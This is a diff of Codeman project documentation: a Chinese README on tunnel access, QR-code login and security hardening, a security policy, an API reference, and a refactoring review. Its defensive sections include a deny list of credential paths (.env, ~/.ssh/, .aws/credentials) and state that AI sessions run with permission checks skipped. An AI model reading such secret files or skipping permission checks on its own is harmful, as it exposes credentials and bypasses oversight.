+- **手势控制** *(可选)* —— 一个 MediaPipe 手部追踪叠加层，可徒手抓取/拖动会话窗口并捏合按钮。用 `CODEMAN_GESTURE=1` + App Settings → Display 启用
+- **多显示器横跨** *(macOS)* —— 一键打开一个横跨所有显示器最大化的浏览器窗口，让浮动的智能体/手势面板可以跨越物理拼接缝
+- **CJK / 输入法支持** —— 完整支持中文 / 日文 / 韩文的组合输入
+- **操作系统通知与主机名感知标题** —— 桌面提醒与标签标题以 `codeman:<host>` 为前缀，使多主机配置不再含糊

+## 远程访问 —— Cloudflare 隧道
+
+使用免费的 [Cloudflare 快速隧道](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/do-more-with-tunnels/trycloudflare/)，从手机或本地网络外的任意设备访问 Codeman —— 无需端口转发、无需 DNS、无需静态 IP。
+
+```
+浏览器（手机/平板）→ Cloudflare 边缘（HTTPS）→ cloudflared → localhost:3000
+```
+
+**前置条件：** 安装 [`cloudflared`](https://developers.cloudflare.com/cloudflare-one/connections/connect-networks/downloads/) 并在环境中设置 `CODEMAN_PASSWORD`。
+
+```bash
+# 快速开始
+./scripts/tunnel.sh start      # 启动隧道，打印公网 URL
+./scripts/tunnel.sh url        # 显示当前 URL
+./scripts/tunnel.sh stop       # 停止隧道
+./scripts/tunnel.sh status     # 服务状态 + URL
+```
+
+脚本会在首次运行时自动安装一个 systemd 用户服务。隧道 URL 是一个随机生成的 `*.trycloudflare.com` 地址，每次隧道重启都会改变。
+
+<details>
+<summary><strong>持久隧道（重启后存续）</strong></summary>
+
+```bash
+# 启用为持久服务
+systemctl --user enable codeman-tunnel
+loginctl enable-linger $USER
+
+# 或通过 Codeman Web UI：Settings → Tunnel → 切换为开
+```
+
+</details>
+
+<details>
+<summary><strong>认证</strong></summary>
+
+1. 首次请求 → 浏览器弹出 Basic Auth 提示（用户名：`admin` 或 `CODEMAN_USERNAME`）
+2. 成功后 → 服务端签发 `codeman_session` cookie（24 小时 TTL，活动时自动延长）
+3. 后续请求通过 cookie 静默认证
+4. 同一 IP 失败 10 次 → 429 速率限制（15 分钟衰减）
+
+通过隧道暴露前**务必设置 `CODEMAN_PASSWORD`** —— 否则任何拿到 URL 的人都能完全访问你的会话。
+
+</details>
+
+### 二维码认证
+
+在手机键盘上输密码很糟糕。Codeman 用**短暂的一次性二维码令牌**解决这个问题 —— 扫描桌面上的二维码，手机即刻完成认证。无密码提示、无打字、无剪贴板。
+
+```
+桌面显示二维码  →  手机扫描  →  GET /q/Xk9mQ3  →  服务端校验
+→  令牌原子性消费（一次性）  →  签发会话 cookie  →  302 跳转到 /
+→  桌面收到通知：「设备已通过二维码认证」  →  自动生成新二维码
+```
+
+只拿到裸隧道 URL（没有二维码）的人，仍会撞上标准密码提示。二维码是快速通道；密码是回退方案。
+
+#### 工作原理
+
+服务端维护一个轮换的、短生命周期、一次性令牌池。每个令牌由一个 256 位密钥（`crypto.randomBytes(32)`）和一个用作 URL 路径中不透明查找键的 6 字符 base62 短码配对组成。二维码编码的 URL 形如 `https://abc-xyz.trycloudflare.com/q/Xk9mQ3` —— 短码是指针，而非密钥本身，因此它绝不会通过浏览器历史、`Referer` 头或 Cloudflare 边缘日志泄露。
+
+每 **60 秒**，服务端自动轮换到一个全新令牌。上一个令牌会保留 **90 秒的宽限期**，以处理你刚好在轮换瞬间扫描的竞争情况 —— 此后即作废。每个令牌都是**一次性**的：手机一旦成功扫描，令牌就被原子性消费，并立即为桌面显示生成一个新的。
+
+#### 安全设计
+
+该设计参考了 ["Demystifying the (In)Security of QR Code-based Login"](https://www.usenix.org/conference/usenixsecurity25/presentation/zhang-xin)（USENIX Security 2025），该研究发现 Top-100 网站中有 47 个因横跨 42 个 CVE 的 6 个关键设计缺陷而易受二维码认证攻击。Codeman 全部六个都做了应对：
+
+| USENIX 缺陷 | 缓解措施 |
+|-------------|------------|
+| **缺陷 1**：缺少一次性强制 | 令牌首次扫描即原子性消费 —— 重放永远失败 |
+| **缺陷 2**：长生命周期令牌 | 60s TTL + 90s 宽限，由定时器自动轮换 |
+| **缺陷 3**：可预测的令牌生成 | `crypto.randomBytes(32)` —— 256 位熵。短码采用拒绝采样以消除取模偏差 |
+| **缺陷 4**：客户端令牌生成 | 仅服务端 —— 令牌在嵌入二维码前绝不离开服务器 |
+| **缺陷 5**：缺少状态通知 | 桌面提示：*「设备 [IP] 已通过二维码认证（Safari）。不是你？[吊销]」* —— 实时 QRLjacking 检测 |
+| **缺陷 6**：会话绑定不足 | 存储 IP + User-Agent 以供审计。通过 API 手动吊销会话。HttpOnly + Secure + SameSite=lax cookie |
+
+#### 时序安全的查找
+
+短码存储在 `Map<shortCode, TokenRecord>` 中。校验使用 `Map.get()` —— 一个基于哈希的 O(1) 查找，不会通过响应时延泄露目标字符串的任何信息。热路径上任何地方都没有逐字符字符串比较，彻底消除了时序侧信道攻击。
+
+#### 速率限制（双层）
+
+二维码认证有自己的速率限制，与密码认证完全独立：
+
+- **按 IP**：同一 IP 失败 10 次二维码尝试即触发 429 封锁（15 分钟衰减窗口）—— 与 Basic Auth 的失败计数器分开，因此打错密码不会消耗你的二维码额度
+- **全局**：所有 IP 合计每分钟 30 次二维码尝试 —— 抵御分布式暴力破解。考虑到 62^6 = 568 亿种可能短码、任意时刻仅约 2 个有效，无论如何暴力破解都在计算上不可行
+
+#### 二维码尺寸优化
+
+URL 被刻意保持精简（`/q/` 路径 + 6 字符码 ≈ 53–56 个字符），以瞄准 **QR 版本 4**（33×33 模块）而非版本 5（37×37）。更小的二维码在低端手机上扫描更快 —— 现代设备读取版本 4 仅需 100–300 毫秒。`/q/` 前缀相比 `/qr-auth/` 省下 7 个字节，仅此一项就足以决定二维码版本的差别。
+
+#### 桌面体验
+
+二维码显示每 60 秒通过 SSE 自动刷新，SVG 直接嵌入事件载荷（约 2–5KB）—— 无需额外 HTTP 请求，刷新低于 50ms。倒计时器显示剩余时间。「重新生成」按钮可即时使所有现有令牌失效并创建一个新的（在你怀疑二维码被拍照时很有用）。
+
+当有人通过二维码认证时，桌面会弹出一个带设备 IP 与浏览器信息的通知 —— 如果不是你，一键即可吊销所有会话。
+
+#### 威胁覆盖
+
+| 威胁 | 为何无效 |
+|--------|-------------------|
+| **二维码截图被分享** | 一次性：首次扫描即消费。60s TTL：攻击者动手前已过期。桌面通知会立即提醒你。 |
+| **重放攻击** | 原子性一次性消费 + 60s TTL。旧 URL 始终返回 401。 |
+| **Cloudflare 边缘日志** | 短码是不透明的 6 字符查找键，而非真正的 256 位令牌。一次性意味着从日志重放永远失败。 |
+| **暴力破解** | 568 亿种组合、任意时刻约 2 个有效、双层速率限制，早在统计可行性之前就已拦截。 |
+| **QRLjacking** | 60s 轮换迫使实时转发。桌面提示提供即时检测。自托管单用户场景使钓鱼难以成立。 |
+| **时序攻击** | 基于哈希的 Map 查找 —— 无字符串比较时序泄露。 |
+| **会话 cookie 窃取** | HttpOnly + Secure + SameSite=lax + 24h TTL。可在 `POST /api/auth/revoke` 手动吊销。 |
+
+#### 横向对比
+
+| 平台 | 模型 | 对比 |
+|----------|-------|------------|
+| **Discord** | 长生命周期令牌、无确认、[屡被利用](https://owasp.org/www-community/attacks/Qrljacking) | Codeman：一次性 + TTL + 通知 |
+| **WhatsApp Web** | 手机确认「关联设备？」，约 60s 轮换 | 轮换相当；WhatsApp 额外加了显式确认（对单用户而言是可接受的取舍） |
+| **Signal** | 临时公钥、端到端加密信道 | 加密更强，但 [2025 年仍被俄罗斯国家级行为者](https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger)通过社会工程攻破 |

+
+---
+
+## 安全
+
+Codeman 用 `--dangerously-skip-permissions` 启动会话，因此 Web UI 在设计上对任何能访问到它的人都是一个远程代码执行面 —— 整套安全模型的存在就是为了控制*谁*能访问。近期加固（v0.9.0 + v0.9.5）封堵了那些常困扰自托管开发工具的浏览器驱动攻击路径。完整模型：[`docs/security-architecture.md`](docs/security-architecture.md)。
+
+### 网络与访问
+
+- **默认仅环回** —— 绑定 `127.0.0.1`，仅可从本机访问，因此「无密码」默认配置开箱即安全。在未设置 `CODEMAN_PASSWORD` 的情况下绑定非环回主机会*启动但打印一条醒目警告*，并给出三个具体修复方案（设置密码、环回 + 一个带认证的隧道，或用 `--allow-unauthenticated-network` 显式确认）
+- **可选认证，真实会话** —— 通过 `CODEMAN_USERNAME`（默认 `admin`）/ `CODEMAN_PASSWORD` 的 HTTP Basic 认证。成功后签发一个不透明的 256 位 `codeman_session` cookie（`randomBytes(32)`）—— 服务端校验，而非客户端签名，因此无法离线伪造（24h TTL、自动延长、设备上下文审计日志）
+- **按 IP 速率限制** —— 失败 10 次 → `429` 并带 `Retry-After`（15 分钟衰减）。即便攻击者在同一 IP 上猛攻，有效 cookie 或正确密码也能*立即*恢复 —— 这很重要，因为所有隧道流量共享同一个环回 IP。二维码认证有自己独立的限制器
+
+### 始终开启的浏览器加固（v0.9.5）
+
+以下对**每个**请求都生效 —— 在认证之前，即便是默认的无密码环回安装：
+
+- **Host 头允许列表 → 阻断 DNS 重绑定。** 一个被重绑定到 `127.0.0.1` 的自定义域名会在任何处理器运行前被 `403 host not allowed` 拒绝。允许：`localhost`、任意 IP 字面量、绑定主机、`.ts.net` / `.trycloudflare.com` / `.cfargotunnel.com`、当前受管隧道，以及 `CODEMAN_ALLOWED_HOSTS`（在此添加自定义反向代理域名 —— 逗号分隔；精确主机或前导点 `.suffix` 匹配子域名）
+- **跨站 Origin / CSRF 防护。** 对变更状态的方法（`POST`/`PUT`/`PATCH`/`DELETE`），`Origin` 必须通过同一允许列表，否则返回 `403 cross-site request blocked`。*缺失*的 Origin 被允许（因此 `curl`、CLI 与 Claude Code hook 仍可工作）；只有存在但外来、或不透明的 `null` origin 才会被拒绝
+- **原始 `text/plain` 请求体。** 全局解析器不再对 `text/plain` 做 JSON 解析，封堵了那个跨站 `fetch` 能在无预检的情况下把 JSON 走私进写路由的 CORS「简单请求」CSRF 向量
+- **WebSocket Origin 校验。** 终端 WS 升级运行同样的 Host + Origin 检查，失败时以代码 `4003` 关闭（反 CSWSH）
+- **XSS 转义的智能体输出。** AI 衍生的字符串（工具名、命令参数、子智能体描述）在渲染进子智能体 / 活动面板前，于每个注入点都做 HTML 转义
+
+### 输入、文件与响应头
+
+- **模式校验的输入** —— 每个 API 请求体都用 Zod v4 模式检查；一个 `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` 环境变量前缀允许列表把控每个 CLI 能接收哪些设置
+- **路径限定** —— 文件路由在边界检查前先 `realpath`（无 TOCTOU）；`..`、绝对路径、以及解析到工作目录之外的符号链接都会被拒绝。上限：10 MB 文本预览 / 50 MB 原始与下载；`/api/download` 对敏感路径（`.env`、`*credentials*`、`~/.ssh/`、`.aws/credentials`）做黑名单。SVG/HTML 以 `octet-stream` + `nosniff` + attachment 提供，因此会被下载而非执行
+- **安全响应头** —— `Content-Security-Policy`（`default-src 'self'`，每个例外都逐条列举）、`X-Content-Type-Options: nosniff`、`X-Frame-Options: SAMEORIGIN`、HTTPS 下的 HSTS，以及**仅**对 `localhost` / `127.0.0.1` / `::1` 反射的 CORS
+
+### 供应链与隔离
+
+- **锁定并校验的依赖** —— 安全敏感的传递依赖通过 npm `overrides` 强制为已打补丁版本；每次提交/PR 都检查锁文件完整性（所有条目都解析到 `registry.npmjs.org` 且带 `sha512` 哈希）。公共资源在 CI 中做 NUL 字节扫描与 `node --check` 校验
+- **多实例隔离** —— `CODEMAN_INSTANCE` 同时限定 tmux 套接字（`-L codeman-<name>`）与数据目录（`~/.codeman-<name>`），因此两个实例绝不会互相附着对方的活动会话
+
+> 移动端登录使用一次性、60 秒二维码令牌 —— 完整设计见上文[二维码认证](#二维码认证)（它应对了 USENIX Security 2025 二维码登录研究中的全部 6 个缺陷）。
+

+
+## SSH 替代方案（`sc`）
+
+如果你更喜欢 SSH（Termius、Blink 等），`sc` 命令是一个便于拇指操作的会话选择器：
+
+```bash
+sc              # 交互式选择器
+sc 2            # 快速附着到会话 2
+sc -l           # 列出会话
+```
+
+单数字选择（1–9）、颜色编码的状态、token 计数、自动刷新。用 `Ctrl+A D` 分离。
+
+---
+
+## 键盘快捷键
+
+> Ctrl 绑定在 macOS 上也接受 Cmd。
+
+| 快捷键 | 动作 |
+|----------|--------|
+| `Ctrl/Cmd+W` | 杀掉当前会话 |
+| `Ctrl/Cmd+Tab` | 下一个会话 |
+| `Alt+1`–`Alt+9` | 切换到第 N 个标签 |
+| `Ctrl+Shift+{` / `Ctrl+Shift+}` | 将当前标签左移 / 右移 |
+| `Ctrl/Cmd+L` | 清屏 |

+# Security Policy
+
+Codeman launches AI coding sessions with `--dangerously-skip-permissions`, so the
+web UI is **by design a remote-code-execution surface for whoever can reach it**.
+The entire security model exists to control *who* that is. Please read this before
+exposing an instance beyond `localhost`. The full model lives in
+[`docs/security-architecture.md`](docs/security-architecture.md).
+
+## Supported versions
+
+Security fixes land on the latest published `codeman@X.Y.Z` release and `master`.
+Older versions are not patched — upgrade to the latest release (App Settings →
+Updates for git-clone installs, or `npm i -g aicodeman@latest`).
+
+| Version | Supported |
+| ------- | --------- |
+| latest `0.9.x` / `master` | ✅ |
+| anything older | ❌ (upgrade) |
+
+## Reporting a vulnerability
+
+**Please do not open a public issue for security problems.**
+
+Report privately via **GitHub's private vulnerability reporting**:
+the repository's **Security** tab → **Report a vulnerability**
+(<https://github.com/Ark0N/Codeman/security/advisories/new>). This opens a private
+advisory thread with the maintainer.
+
+> Maintainer note: enable *Settings → Code security and analysis → Private
+> vulnerability reporting* so this channel is live.
+
+When reporting, please include: affected version/commit, the deployment shape
+(loopback-only, `CODEMAN_PASSWORD` set, tunnel/`tailscale serve`, custom
+reverse proxy), reproduction steps, and impact. We aim to acknowledge within a
+few days. Coordinated disclosure is appreciated — we'll agree a disclosure
+timeline with you once impact is confirmed.
+
+### In scope
+- Authentication / session-cookie bypass when `CODEMAN_PASSWORD` is set
+- DNS-rebinding, CSRF/CSWSH, or Origin/Host-guard bypass reaching state-changing routes
+- Remote code execution reachable **without** local OS access (e.g. via a browser, a tunnel, or a foreign origin)
+- Path traversal / arbitrary file read or write through the HTTP API
+- Supply-chain integrity of the in-app self-updater
+
+### Out of scope (by design — see Known limitations)
+- Anything requiring an already-trusted **same-machine, same-uid** process. Codeman trusts the local OS user it runs as; a peer process of that user is already inside the boundary.
+- Running an authless instance bound to a non-loopback host after dismissing the startup warning (you explicitly acknowledged it).
+- The default loopback + no-password posture itself (it is reachable only from the same machine).
+
+## Trust model (summary)
+
+- **Loopback by default.** Binds `127.0.0.1`; the no-password default is safe out of the box. Binding a non-loopback host without `CODEMAN_PASSWORD` *starts but prints a loud warning* with concrete fixes.
+- **Always-on Host + Origin guards.** Block DNS-rebinding and cross-site state-changing requests even on the no-auth loopback install (a missing Origin is allowed so CLI/hooks work).
+- **Optional auth.** HTTP Basic via `CODEMAN_USERNAME`/`CODEMAN_PASSWORD`; success issues an opaque server-side 256-bit cookie. Per-IP rate limiting on failures.
+- **Hardened file serving, tmux launch, transport headers, and multi-instance isolation** — see the full architecture doc.
+
+## Known limitations and accepted risk
+
+A 1.0 release is an implicit statement that the documented model *is* the model, so
+these residuals are stated explicitly. Most sit **inside the same-uid OS trust
+boundary** or behind the always-on Origin guard; they matter mainly for
+shared-host, multi-user, or tunneled deployments.
+
+- **Self-update trusts an unsigned release tag.** The in-app updater does `git checkout <tag> && npm install` (lifecycle scripts run) of a tag matched only by name shape, from whatever `origin` points to — no signature/commit verification. Treat the updater as trusting your `origin` remote and your release pipeline. (Hardening tracked for 1.0.)
+- **CSP ships `'unsafe-inline'`.** Inline handlers mean the Content-Security-Policy is defense-in-depth only; all AI-/file-derived sinks are escaped, but a future missed escape would be executable.
+- **`workingDir` is unconstrained.** A session may be created with any absolute working directory (e.g. `/`), which becomes the file-route boundary for that session. Scope it to trusted paths on shared hosts.
+- **Hook-event auth exemption is loopback-IP-based.** `POST /api/hook-event` is exempt from auth for loopback callers; because tunnels (cloudflared / `tailscale serve`) terminate at `127.0.0.1`, a loopback-terminating tunnel inherits the exemption. Set `CODEMAN_PASSWORD` and prefer a tunnel that preserves the client identity if this matters.
+- **Session cookie is not bound to client IP/UA on reuse, and refreshes without an absolute cap.** A stolen cookie replays until its idle TTL elapses.
+- **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
+- **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
+
+Recent hardening (this release): web-push subscription endpoints are restricted
+to https public hosts (SSRF guard — rejects internal/metadata IPs, validated at
+subscribe and send time), and tmux session names discovered on the shared socket
+are validated against the safe-name pattern before reaching any shell call site.
+
+For the detailed rationale, defenses, and recommended secure setups, see
+[`docs/security-architecture.md`](docs/security-architecture.md).

+# HTTP API Reference
+
+Codeman's HTTP API is a **stable contract** as of 1.0 — see
+[`versioning-policy.md`](versioning-policy.md) for the SemVer guarantee. This page
+defines the response envelope, status codes, error codes, versioning, and the SSE
+event channel.
+
+## Versioning
+
+- The stable, public surface is served under **`/api/v1/...`**. Pin external
+  clients to this prefix.
+- The unversioned **`/api/...`** paths are a permanent alias of the current
+  version (what the bundled web UI uses). They are kept working, but new external
+  integrations should use `/api/v1`.
+- Breaking changes to the contract ship under a new prefix (`/api/v2`); `/api/v1`
+  keeps its semantics. Additive changes (new endpoints, new optional fields, new
+  error codes) are non-breaking and may appear in a minor release.
+- The implementation rewrites `/api/v1/*` → `/api/*` at the server level
+  (`rewriteApiV1Url` in `src/web/server.ts`).
+
+## Response envelope
+
+Every JSON response uses one uniform envelope, applied centrally by a
+`preSerialization` hook (`src/web/server.ts`) — handlers return bare data and the
+hook wraps it:
+
+**Success** — HTTP `2xx`:
+
+```json
+{ "success": true, "data": <payload> }
+```
+
+`data` is the endpoint's payload (object, array, or value). Endpoints with no
+payload return `{ "success": true, "data": {} }`.
+
+**Error** — HTTP `4xx`/`5xx`:
+
+```json
+{ "success": false, "error": "human-readable message", "errorCode": "NOT_FOUND" }
+```
+
+`ApiResponse<T>` in `src/types/api.ts` is the canonical type.
+
+> Non-JSON endpoints are exempt from the envelope: `GET /api/sessions/:id/file-raw`,
+> `GET /api/sessions/:id/tail-file` (SSE), `GET /api/download`,
+> `GET /api/screenshots/:name`, `GET /q/:code` (QR redirect), and the
+> `GET /ws/sessions/:id/terminal` WebSocket upgrade.
+
+## Error codes → HTTP status
+
+The single source of truth is `ErrorStatus` / `httpStatusForErrorCode()` in
+`src/types/api.ts`. Clients should branch on `errorCode` (stable) and may rely on
+the HTTP status.
+
+| `errorCode` | HTTP | Meaning |
+|-------------|------|---------|
+| `INVALID_INPUT` | 400 | Malformed request / failed validation |
+| `UNAUTHORIZED` | 401 | Authentication required or failed |
+| `NOT_FOUND` | 404 | Resource does not exist |
+| `SESSION_BUSY` | 409 | Session is busy |
+| `CONFLICT` | 409 | Conflicts with current state (e.g. already running) |
+| `ALREADY_EXISTS` | 409 | Resource already exists |
+| `OPERATION_FAILED` | 422 | Well-formed but could not be completed |
+| `RATE_LIMITED` | 429 | Too many requests |
+| `INTERNAL_ERROR` | 500 | Unexpected server error |
+
+Adding a new error code is non-breaking; removing or renaming one is a major change.
+
+## Authentication
+
+Optional HTTP Basic (`CODEMAN_USERNAME`/`CODEMAN_PASSWORD`) → opaque
+`codeman_session` cookie. When enabled, unauthenticated requests get
+`401 UNAUTHORIZED`; rate-limited requests get `429 RATE_LIMITED`. See
+[`security-architecture.md`](security-architecture.md).
+
+## SSE event channel
+
+`GET /api/events` is a Server-Sent Events stream (`text/event-stream`); each
+message is `event: <name>` + `data: <json>`. The event-name registry
+(`src/web/sse-events.ts`, mirrored in `src/web/public/constants.js`) is part of
+the stable contract — event names are not renamed without a major bump. An
+optional `?sessions=<id,...>` filter suppresses only the high-volume terminal
+stream; lifecycle/metadata events are delivered to all clients regardless.
+
+## Consuming from JavaScript
+
+The bundled frontend reads responses through `_apiJson()`
+(`src/web/public/api-client.js`), which unwraps `{success:true,data}` → `data` and
+returns `null` on a non-2xx / `{success:false}` response. External clients should
+do the same: check the HTTP status (or `body.success`), then read `body.data`.

+## 1. Critical: server.ts God Object
+
+**File**: `src/web/server.ts` (6,736 lines)
+**Severity**: CRITICAL
+**Impact**: Hardest file to maintain, test, and extend. Imports 38 modules.
+
+### Problem
+
+The `WebServer` class handles everything: HTTP routing (~110 routes), authentication, SSE broadcasting, terminal data batching, state persistence, session lifecycle, respawn orchestration, file serving, tunnel management, plan orchestration, and subagent coordination.
+
+**Key metrics**:
+- 40+ private properties (Maps, timers, caches)
+- 70+ methods
+- `setupRoutes()` is 2,000+ LOC of inline route handlers
+- Zero test coverage
+

+
+**Fix**: Extract `findSessionOrFail()` middleware:
+```typescript

+  const session = this.sessions.get(sessionId);
+  if (!session) throw new NotFoundError('Session not found');
+  return session;
+};

+
+**Event listener setup** copy-pasted for subagent watcher, image watcher, and team watcher (lines 544-643). Same attach/detach pattern duplicated 3 times.

+## 3. Critical: CleanupManager Unused
+
+**File**: `src/utils/cleanup-manager.ts` (320 lines)
+**Severity**: CRITICAL
+**Impact**: Memory leak risk. Well-designed utility exists but is never used. Every file manages cleanup manually.
+
+### Current State
+
+`CleanupManager` is exported from the utils barrel but has **0 instantiations** in production code. Instead, every file implements manual cleanup:
+
+**respawn-controller.ts** (worst offender):
+```typescript
+// 11 timer properties, manually cleared in stop()
+private stepTimer: NodeJS.Timeout | null = null;
+private completionConfirmTimer: NodeJS.Timeout | null = null;
+private noOutputTimer: NodeJS.Timeout | null = null;
+// ... 8 more
+
+stop() {
+  if (this.stepTimer) clearTimeout(this.stepTimer);
+  if (this.completionConfirmTimer) clearTimeout(this.completionConfirmTimer);
+  // ... 9 more clearTimeout/clearInterval calls
+}
+```
+
+**Files that should use CleanupManager**:
+| File | Timer/Listener Count | Current Cleanup |
+|------|---------------------|-----------------|
+| `respawn-controller.ts` | 11 timers + intervals | 11 manual clearTimeout/clearInterval |
+| `web/server.ts` | 6+ timers, debounce map | Manual in stop(), some may leak |
+| `state-store.ts` | 2 debounce timers | Manual clearTimeout |
+| `push-store.ts` | 1 save timer | Manual clearTimeout |
+| `subagent-watcher.ts` | debounce map + watchers | Manual clear + close |
+| `ralph-tracker.ts` | 3 debounce timers | Manual clear |
+| `bash-tool-parser.ts` | 1 debounce timer | Manual clear |
+| `image-watcher.ts` | 1 debounce map | Manual clear |
+
+### Fix
+
+Migrate all timer management to use `CleanupManager`. Example for respawn-controller.ts:
+
+```typescript
+// Before: 11 fields + 11 clearTimeout calls
+private stepTimer: NodeJS.Timeout | null = null;
+// ...
+
+// After: 1 field, auto-cleanup
+private cleanup = new CleanupManager();
+
+startStep() {
+  this.cleanup.setTimeout(() => { ... }, 5000, 'step');
+}
+
+stop() {
+  this.cleanup.dispose(); // Clears everything
+}
+```
+

+
+## 4. High: Duplicated Debounce/Timer Patterns
+
+**Severity**: HIGH
+**Impact**: 8+ files implement debounce independently. Bug fixes need to be applied everywhere.
+
+### Pattern Inventory
+
+```typescript
+// Pattern 1: Manual timer ref (used in 6 files)
+private saveTimer: NodeJS.Timeout | null = null;
+debouncedSave() {
+  if (this.saveTimer) clearTimeout(this.saveTimer);
+  this.saveTimer = setTimeout(() => this.save(), 500);
+}
+
+// Pattern 2: Timer Map (used in 3 files)
+private fileDebouncers = new Map<string, NodeJS.Timeout>();
+debounce(key: string) {
+  const existing = this.fileDebouncers.get(key);
+  if (existing) clearTimeout(existing);
+  this.fileDebouncers.set(key, setTimeout(() => { ... }, 100));
+}
+
+// Pattern 3: State flag (used in 2 files)
+private isSaving = false;
+```
+
+### Locations
+
+| File | Debounce Vars | Delay (ms) |
+|------|---------------|------------|
+| `state-store.ts` | `saveTimeout`, `ralphStateSaveTimeout` | 500 |
+| `push-store.ts` | `saveTimer` | 500 |
+| `web/server.ts` | `persistDebounceTimers` (Map) | 500 |
+| `subagent-watcher.ts` | `fileDebouncers` (Map) | 100 |
+| `ralph-tracker.ts` | 3 debounce timers | 50, 30000 |
+| `bash-tool-parser.ts` | `EVENT_DEBOUNCE_MS` | 50 |
+| `image-watcher.ts` | debounce map | 200 |
+| `respawn-controller.ts` | 11 timer fields | various |
+
+### Fix
+
+Create a `Debouncer` utility:
+
+```typescript
+// src/utils/debouncer.ts
+export class Debouncer {
+  private timer: NodeJS.Timeout | null = null;
+
+  constructor(private readonly delayMs: number) {}
+
+  run(fn: () => void): void {
+    if (this.timer) clearTimeout(this.timer);
+    this.timer = setTimeout(fn, this.delayMs);
+  }
+
+  cancel(): void {
+    if (this.timer) clearTimeout(this.timer);
+    this.timer = null;
+  }
+}
+
+// Usage:
+private saveDeb = new Debouncer(500);
+this.saveDeb.run(() => this.save());
+// cleanup: this.saveDeb.cancel();
+```

+
+### Current Contents

+
+## 7. High: Zod Schemas Duplicate TypeScript Types
+
+**File**: `src/web/schemas.ts` (508 lines)
+**Severity**: HIGH
+**Impact**: When a type changes, the Zod schema must be manually updated too. Source of bugs.
+
+### Problem
+
+Zod schemas manually duplicate TypeScript interfaces. **Zero `z.infer` usage found.**
+
+```typescript
+// types.ts (manual interface)
+export interface CreateSessionRequest {
+  workingDir?: string;
+  mode?: SessionMode;
+  name?: string;
+}
+
+// schemas.ts (manual Zod schema - duplicated!)
+export const CreateSessionSchema = z.object({
+  workingDir: safePathSchema.optional(),
+  mode: z.enum(['claude', 'shell', 'opencode']).optional(),
+  name: z.string().max(100).optional(),
+});
+```
+
+### Fix
+
+Use `z.infer` to derive TypeScript types from Zod schemas (single source of truth):
+
+```typescript
+// schemas.ts
+export const CreateSessionSchema = z.object({
+  workingDir: safePathSchema.optional(),
+  mode: z.enum(['claude', 'shell', 'opencode']).optional(),
+  name: z.string().max(100).optional(),
+});
+
+// types.ts (auto-derived)
+export type CreateSessionRequest = z.infer<typeof CreateSessionSchema>;
+```
+
+**Affected schemas** (~10):
+- CreateSessionSchema
+- RunPromptSchema
+- ResizeSchema
+- CreateCaseSchema
+- QuickStartSchema
+- HookEventSchema
+- RespawnConfigSchema
+- ConfigUpdateSchema
+- SettingsUpdateSchema
+

+## 8. High: Test Coverage Gaps
+
+**Severity**: HIGH
+**Impact**: Critical code paths untested. Regressions go unnoticed.
+
+### Untested Source Files

+
+## 9. High: Duplicated Test Mocks
+
+**Severity**: HIGH
+**Impact**: Mock changes need updating in 4 places. Inconsistent mock behavior.
+
+### MockSession Defined 4 Times
+
+| File | Usage |
+|------|-------|
+| `test/respawn-controller.test.ts` | Full mock with event emitter |
+| `test/session-manager.test.ts` | Simpler mock |
+| `test/respawn-team-awareness.test.ts` | Copy of respawn-controller mock |
+| `test/respawn-test-utils.ts` | **Comprehensive mock - UNUSED!** |
+
+### MockStateStore Defined 2 Times
+
+| File | Usage |
+|------|-------|
+| `test/session-manager.test.ts` | Basic mock |
+| `test/ralph-loop.test.ts` | Separate implementation |
+
+### Unused Test Utilities
+
+`test/respawn-test-utils.ts` exports these utilities that **no test file imports**:
+- `createTimeController()` - Abstraction over vitest fake timers
+- `MockAiIdleChecker` - Fully mocked AI idle checker
+- `MockAiPlanChecker` - Fully mocked plan checker
+- Factory functions for pre-configured controllers
+
+### Fix
+
+Create `test/mocks/` directory:
+```
+test/
+├── mocks/
+│   ├── mock-session.ts      (single MockSession, used everywhere)
+│   ├── mock-state-store.ts  (single MockStateStore)

+
+## 10. Medium: Hardcoded Magic Values
+
+**Severity**: MEDIUM
+**Impact**: Hard to tune, inconsistent when same value appears in multiple places.
+
+### Already Centralized (Good)
+
+- `src/config/buffer-limits.ts` - All buffer sizes
+- `src/config/map-limits.ts` - All collection limits
+
+### NOT Centralized (40+ values scattered)
+
+**In server.ts** (lines 145-194):
+```typescript
+const TASK_UPDATE_BATCH_INTERVAL = 100;
+const STATE_UPDATE_DEBOUNCE_INTERVAL = 500;
+const SESSIONS_LIST_CACHE_TTL = 1000;
+const SCHEDULED_CLEANUP_INTERVAL = 5 * 60 * 1000;
+const SSE_HEALTH_CHECK_INTERVAL = 30 * 1000;
+const MAX_TERMINAL_COLS = 500;
+const MAX_TERMINAL_ROWS = 200;
+const AUTH_SESSION_TTL_MS = 24 * 60 * 60 * 1000;
+const MAX_AUTH_SESSIONS = 100;
+const AUTH_FAILURE_WINDOW_MS = 15 * 60 * 1000;
+const STATS_COLLECTION_INTERVAL_MS = 2000;
+const MAX_INPUT_LENGTH = 64 * 1024;
+```
+
+**In hooks-config.ts**: `timeout: 10000` hardcoded 6 times.
+
+**In respawn-controller.ts** (lines 538-565): 10 timing constants.
+
+**In utils**: `EXEC_TIMEOUT_MS = 5000` duplicated in both `claude-cli-resolver.ts` and `opencode-cli-resolver.ts`.
+
+**In app.js**:
+```javascript
+// line 27: 600000 - stuck detection threshold
+// line 24: 5000 - default scrollback
+// lines 34-35: 128*1024, 256*1024 - chunk sizes
+// lines 152-155: 150, 100 - keyboard detection thresholds
+// lines 573-575: 80, 300, 100 - swipe detection params
+```
+
+### Fix
+
+Create additional config files:
+```
+src/config/
+├── buffer-limits.ts     (existing)
+├── map-limits.ts        (existing)
+├── server-config.ts     (NEW - web server intervals, auth, caching)

+
+## 11. Medium: Frontend Global State Monolith
+
+**Severity**: MEDIUM
+**Impact**: All state in single CodemanApp class. Tight coupling between unrelated systems.
+
+### 60+ State Variables in CodemanApp Constructor (lines 2667-2805)
+
+```javascript
+this.sessions = new Map();             // Session data
+this.subagents = new Map();            // Agent tracking
+this.subagentActivity = new Map();     // Tool call tracking
